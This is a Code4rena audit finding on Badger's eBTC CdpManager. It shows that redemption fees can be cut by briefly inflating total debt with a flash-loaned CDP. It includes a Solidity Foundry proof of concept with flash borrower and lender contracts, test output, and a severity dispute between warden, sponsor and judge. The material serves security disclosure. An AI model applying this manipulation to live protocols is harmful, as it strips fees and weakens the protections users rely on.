code-423n4 / 2023-10-badger-findings

1 stars 1 forks source link

The redemption fee can be manipulated inflating the total debt in the system #308

Open c4-submissions opened 9 months ago

c4-submissions commented 9 months ago

Lines of code

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L340-L344 https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L447-L450 https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L621-L622

Vulnerability details

Redemptions allow users to exchange eBTC for stETH at the spot oracle price. This mechanism is used to keep the eBTC pegged to the BTC price, as users will arbitrage the difference between the spot oracle price and the market price.

To prevent a drain in liquidity from the system, there is a redemption fee that tries to limit the daily volume of redemptions, as we can read in the documentation:

In order for redemptions to effectively introduce peg stability, their daily volume should be limited to a small percentage of the total available liquidity of eBTC. For this reason, the protocol limits the utilization of the mechanism by increasing its fee in proportion to the daily usage volume.

The fee rate is the sum of the base rate and the fee floor. The fee floor is set initially to 0.5% and the base rate is a dynamic value that increases with the volume of redemptions and decreases with time.

We can see how the redemption fee is calculated in CdpManager.sol:redeemCollateral():

445:         // Decay the baseRate due to time passed, and then increase it according to the size of this redemption.
446:         // Use the saved total EBTC supply value, from before it was reduced by the redemption.
447:         _updateBaseRateFromRedemption(
448:             totals.collSharesDrawn,
449:             totals.price,
450:             totals.systemDebtAtStart
451:         );
452: 
453:         // Calculate the ETH fee
454:         totals.feeCollShares = _getRedemptionFee(totals.collSharesDrawn);

    (...)

612:     function _updateBaseRateFromRedemption(
613:         uint256 _ETHDrawn,
614:         uint256 _price,
615:         uint256 _totalEBTCSupply
616:     ) internal returns (uint256) {
617:         uint256 decayedBaseRate = _calcDecayedBaseRate();
618: 
619:         /* Convert the drawn ETH back to EBTC at face value rate (1 EBTC:1 USD), in order to get
620:          * the fraction of total supply that was redeemed at face value. */
621:         uint256 redeemedEBTCFraction = (collateral.getPooledEthByShares(_ETHDrawn) * _price) /
622:             _totalEBTCSupply;
623: 
624:         uint256 newBaseRate = decayedBaseRate + (redeemedEBTCFraction / beta);
625:         newBaseRate = EbtcMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%
626:         require(newBaseRate > 0, "CdpManager: new baseRate is zero!"); // Base rate is always non-zero after redemption
627: 
628:         // Update the baseRate state variable
629:         baseRate = newBaseRate;
630:         emit BaseRateUpdated(newBaseRate);
631: 
632:         _updateLastRedemptionTimestamp();
633: 
634:         return newBaseRate;
635:     }

In lines 621 to 624, we can see how the base rate is increased by the fraction of the total supply that is being redeemed. However, this fraction can be easily manipulated by inflating the total supply of eBTC. This can be done by creating a new CDP with a large amount of collateral before the redemption and closing it after the redemption.

The collateral required to perform this operation can be borrowed from the protocol itself. Given that the ActivePool contract allows to use all of the stETH owned by the contract, and not only the amount registered as collateral, using a low collateral ratio it will be possible to increase the total supply of eBTC by more than a 100%. Eventually, other platforms, like AAVE, that might have more liquidity, could be used to increase the total supply of eBTC via flash loan by even more.

Impact

The total debt in the system can be inflated by creating new CDPs, which will result in a lower redemption fee for the user. This allows the user to receive more collateral than expected and the protocol to receive less collateral as a redemption fee. What is more important, allows to bypass the stability mechanism that tries to limit the daily volume of redemptions by making it much cheaper to redeem a high percentage of the eBTC total supply.

Proof of Concept

In this PoC we have a total debt of 5.23 eBTC and 100 stETH of collateral and a user redeems 3.37 eBTC, which represents 64.52% of the total debt.

We will compare two scenarios, one where the user redeems the eBTC directly and another one where the user inflates the total supply of eBTC before redeeming.

PoC ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import "forge-std/Test.sol"; import "../contracts/Dependencies/EbtcMath.sol"; import {eBTCBaseInvariants} from "./BaseInvariants.sol"; import "../contracts/Dependencies/IERC20.sol"; import "../contracts/Interfaces/IERC3156FlashLender.sol"; import "../contracts/Interfaces/IActivePool.sol"; import "../contracts/Interfaces/IBorrowerOperations.sol"; import "../contracts/Interfaces/ICdpManager.sol"; import "../contracts/HintHelpers.sol"; contract AuditRedemptionTest is eBTCBaseInvariants { address user; bytes32 private cdpId; uint256 cdpDebt; function setUp() public override { super.setUp(); connectCoreContracts(); connectLQTYContractsToCore(); vm.warp(3 weeks); // Initial CDPs user = _utils.getNextUserAddress(); uint256 _price = priceFeedMock.fetchPrice(); uint256 _coll = 50e18; uint256 _debt = (_coll * _price) / 200e16; _openTestCDP(user, _coll + cdpManager.LIQUIDATOR_REWARD(), _debt); _debt = (_coll * _price) / 110e16; cdpId = _openTestCDP(user, _coll + cdpManager.LIQUIDATOR_REWARD(), _debt); cdpDebt = cdpManager.getCdpDebt(cdpId); } function testRedemptionHappy() public { assertEq(collateral.balanceOf(user), 0); (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers .getRedemptionHints(cdpDebt, priceFeedMock.fetchPrice(), 0); vm.prank(user); cdpManager.redeemCollateral( cdpDebt, firstRedemptionHint, firstRedemptionHint, firstRedemptionHint, partialRedemptionHintNICR, 0, 1e18 ); logResults(); } function testRedemptionManipulateTotalDebt() public { assertEq(collateral.balanceOf(user), 0); // Deploy flash lender and deposit collateral FlashLender flashLender = new FlashLender( address(collateral), 9 // 0.09% fee ); dealCollateral(address(flashLender), 1000e18); // Deploy flash borrower FlashBorrower flashBorrower = new FlashBorrower( address(collateral), address(eBTCToken), address(flashLender), address(borrowerOperations), address(cdpManager), address(hintHelpers) ); // User transfers eBTC to flash borrower and performs redemption vm.startPrank(user); eBTCToken.transfer(address(flashBorrower), cdpDebt); flashBorrower.redeem(priceFeedMock.fetchPrice()); flashBorrower.withdrawCollateral(); vm.stopPrank(); logResults(); } function logResults() internal view { console2.log("Total coll after ", cdpManager.getSystemCollShares()); console2.log("Total debt after ", cdpManager.getSystemDebt()); console2.log("Net redemption coll ", collateral.balanceOf(user)); console2.log("Fee recipient coll ", activePool.getFeeRecipientClaimableCollShares()); } } contract FlashBorrower { IERC20 public immutable collateral; IERC20 public immutable eBTCToken; IERC3156FlashLender public immutable flashLender; IBorrowerOperations public immutable borrowerOperations; ICdpManager public immutable cdpManager; HintHelpers public immutable hintHelpers; constructor( address _collateral, address _eBTCToken, address _flashLender, address _borrowerOperations, address _cdpManager, address _hintHelpers ) { collateral = IERC20(_collateral); eBTCToken = IERC20(_eBTCToken); flashLender = IERC3156FlashLender(_flashLender); borrowerOperations = IBorrowerOperations(_borrowerOperations); cdpManager = ICdpManager(_cdpManager); hintHelpers = HintHelpers(_hintHelpers); collateral.approve(_flashLender, type(uint256).max); collateral.approve(_borrowerOperations, type(uint256).max); eBTCToken.approve(_borrowerOperations, type(uint256).max); } function redeem(uint256 price) external { uint256 borrowAmount = flashLender.maxFlashLoan(address(collateral)); flashLender.flashLoan( IERC3156FlashBorrower(address(this)), address(collateral), borrowAmount, abi.encodePacked(price) ); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32) { (uint256 price) = abi.decode(data, (uint256)); uint256 debtForRedemption = eBTCToken.balanceOf(address(this)); // Open new CDP with the borrowed collateral to inflate total debt uint256 newDebt = ((amount - 2e17 /*LIQUIDATOR_REWARD*/) * price) / (125e16); bytes32 cdpId = borrowerOperations.openCdp(newDebt, bytes32(0), bytes32(0), amount); // Redeem collateral with the inflated total debt (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers .getRedemptionHints(debtForRedemption, price, 0); cdpManager.redeemCollateral( debtForRedemption, firstRedemptionHint, firstRedemptionHint, firstRedemptionHint, partialRedemptionHintNICR, 0, 1e18 ); // Close CDP borrowerOperations.closeCdp(cdpId); return keccak256("ERC3156FlashBorrower.onFlashLoan"); } function withdrawCollateral() external { collateral.transfer(msg.sender, collateral.balanceOf(address(this))); } } contract FlashLender is IERC3156FlashLender { bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); address public loanToken; uint256 public fee; // 1 => 0.01% constructor(address loanToken_, uint256 fee_) { loanToken = loanToken_; fee = fee_; } function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external override returns(bool) { require(token == loanToken, "FlashLender: Unsupported currency"); uint256 _fee = flashFee(token, amount); require(IERC20(token).transfer(address(receiver), amount), "FlashLender: Transfer failed"); require( receiver.onFlashLoan(msg.sender, token, amount, _fee, data) == CALLBACK_SUCCESS, "FlashLender: Callback failed" ); require( IERC20(token).transferFrom(address(receiver), address(this), amount + _fee), "FlashLender: Repay failed" ); return true; } function flashFee( address token, uint256 amount ) public view override returns (uint256) { require(token == loanToken, "FlashLender: Unsupported currency"); return amount * fee / 10000; } function maxFlashLoan( address token ) external view override returns (uint256) { return token == loanToken ? IERC20(token).balanceOf(address(this)) : 0; } } ```
Console output ```shell forge test --mc AuditRedemptionTest -vv [PASS] testRedemptionHappy() (gas: 406375) Logs: Total coll after 50000000000000000000 Total debt after 1857000000000000000 Net redemption coll 30564516129032258085 Fee recipient coll 14890029325513196451 [PASS] testRedemptionManipulateTotalDebt() (gas: 1744548) Logs: Total coll after 50000000000000000000 Total debt after 1857000000000000000 Net redemption coll 43140251785184535219 Fee recipient coll 1414293669360919317 ```

In both scenarios, the system ends up with the same amount of debt and collateral. However, in the second scenario, the user receives more stETH (43.14 vs 30.56) and the protocol receives less stETH as a redemption fee (1.41 vs 14.89).

This is because in the first scenario, the redemption rate is 32%, while in the second scenario, the user has managed to lower the redemption rate to a 3% by borrowing 1,000 stETH and using them to open a CDP. This allows the user to cover the fees of the flash loan and still receive more stETH than in the first scenario.

Tools Used

Manual inspection.

Recommended Mitigation Steps

A possible solution would be storing in two state variables the last block in which new debt was created and the total debt added in that block. Then, in the redemption function, check if any debt has been created in the current block. In this case, subtract the new debt from the total debt in the calculation of the redemption fee.

Assessed type

Other

c4-pre-sort commented 9 months ago

bytes032 marked the issue as sufficient quality report

c4-pre-sort commented 9 months ago

bytes032 marked the issue as primary issue

c4-sponsor commented 9 months ago

GalloDaSballo marked the issue as disagree with severity

c4-sponsor commented 9 months ago

GalloDaSballo (sponsor) acknowledged

GalloDaSballo commented 9 months ago

Basically the finding is stating that the redemption fee, can, in some circumntances remain flat.

Our fee will be 1% (2 oracles drift)

More specifically, the caller would pay 9 BPS to Flashloan a ton of eBTC

With the goal of paying a lower redemption fee

Notice that there are many values for which the operation is not profitable as the growth of the eBTC token supply + the Flashloan Fee and gas costs will make it unprofitable to perform this

That said, there should be scenarios in which the operation would be profitable and it would cause the feeRecipient to either receive a lower fee, or the redemption base rate to not grow

GalloDaSballo commented 9 months ago

Would like to see the Math for this to be profitable as I believe that if we assume a 9BPS FL, then the cost of this would require redeeming a huge % of eBTC total supply before becoming feasible, also dependent on the Pool we use

c4-judge commented 9 months ago

jhsagd76 changed the severity to 2 (Med Risk)

c4-judge commented 9 months ago

jhsagd76 marked the issue as satisfactory

c4-judge commented 9 months ago

jhsagd76 marked the issue as selected for report

jhsagd76 commented 9 months ago

Upon further examination of this issue, I believe that this type of attack scenario for redemptions only becomes meaningful when eBTC significantly de-peg. Moreover, it would require holding a substantial amount of eBTC to have the motivation to carry out such an attack. While you could provide a poc demonstrating the effectiveness of this scenario, it would be challenging to actually execute it on the mainnet. The stringent prerequisites involved in this attack scenario make it somewhat tenuous to classify it as a med. It does indeed increase the overall risk to the system, but it would not directly result in actual bad debt or real losses.

I'll mark this as QA. So ping sponsor for a double check @GalloDaSballo

c4-judge commented 9 months ago

jhsagd76 changed the severity to QA (Quality Assurance)

c4-judge commented 9 months ago

jhsagd76 marked the issue as grade-a

c4-judge commented 9 months ago

jhsagd76 marked the issue as not selected for report

shaka0x commented 9 months ago

@GalloDaSballo and @jhsagd76 I will try to address your comments in this response.

It is hard to come with a mathematical model that can be used to calculate the profitability of this attack, as there are many variables involved (total supply of eBTC, price, total collateral ratio, user supply, total liquidity in active pool, etc). However, I tried to expand on my previous PoC with some adjustments:

I have also made configurable the total supply of eBTC, the percentage of the total supply that the user owns and wants to redeem, how much to inflate the total supply, and the collateral ratio the user will use to open the new position. This allows to simulate different scenarios and see how the profitability of the attack changes.

Here it is the code of the PoC, where you can play with the parameters to explore different scenarios. https://gist.github.com/shaka0x/016755ff671294aa198c8196a8b85563

Taking a realistic scenario where the total supply of eBTC is 100,000 eBTC, the user owns 3% of it, and the TCR is 177.9%, the user can inflate the total supply by a 10% to make the attack profitable.

forge test --mt testRedemption -vv

[PASS] testRedemptionManipulateTotalDebt() (gas: 2227655)
Logs:
  ************ Before *************
  Total debt before      1000.000000000000000000
  User debt before       30.000000000000000000
  User supply percent    3
  TCR                    177.9000000000000000

  ********** onFlashLoan ***********
  Borrow amount           1481.083144857296716479
  Fee                     0.444324943457189014

  ********** _calcRedemptionRate ***********
  Redemption fee floor    1.0000000000000000
  Total redemption fee    2.3636363636363636

  ************* After *************
  Net redemption amount  393.886707513584961229
  Total coll after       23505.654281098546042003
  Total debt after       970.000000000000000000
  Fee recipient shares   9.546188867675135702

[PASS] testRedemptionRegular() (gas: 538615)
Logs:
  ************ Before *************
  Total debt before      1000.000000000000000000
  User debt before       30.000000000000000000
  User supply percent    3
  TCR                    177.9000000000000000

  ********** _calcRedemptionRate ***********
  Redemption fee floor    1.0000000000000000
  Total redemption fee    2.4999999999999999

  ************* After *************
  Net redemption amount  393.780290791599354201
  Total coll after       23505.654281098546042003
  Total debt after       970.000000000000000000
  Fee recipient shares   10.096930533117931744

As we can observe, the user manages to lower the redemption fee from 2.49% to 2.36%, that saves him 0.55 stETH, while the cost of the flash loan is 0.44 stETH.

While the damage of the attack is not significant, the purpose of the PoC is to demonstrate how the attack is easily performed given some realistic parameters. We should take into account that while it would be less likely that a user might have a big percentage of the total supply, the attack increases its profitability exponentially and so does the damage for the protocol, that does not only lose the redemption fee, but more importantly can get drained of liquidity.

Note that also that while I am not taking into account the gas fees, I am also not optimizing the attack, as the collateral ratio could be fine tuned and for great amount of borrowed collateral the flash loan could also be taken with a combination of both the ActivePool and the external flash lender to lower the average fee. In any case, for great amounts of supply the effect of the gas fees would not be significant.

For that all, I would like to ask you to reconsider the severity of the issue.

jhsagd76 commented 9 months ago

This issue is clear in technicality, and Warden's comments haven't actually provided any additional unknown facts. Thank you for providing the poc